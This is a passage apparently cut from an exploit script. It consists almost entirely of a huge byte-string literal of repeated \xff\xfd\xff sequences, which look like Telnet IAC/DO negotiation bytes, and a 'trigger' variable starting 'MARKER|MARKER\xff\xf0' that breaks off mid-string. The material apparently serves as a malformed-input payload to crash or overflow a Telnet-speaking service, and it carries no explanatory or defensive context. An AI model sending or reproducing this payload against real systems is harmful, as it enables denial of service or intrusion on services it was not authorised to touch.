f\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff';

    trigger = 'MARKER|MARKER\xff\xf0\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\xfd\xff\xff\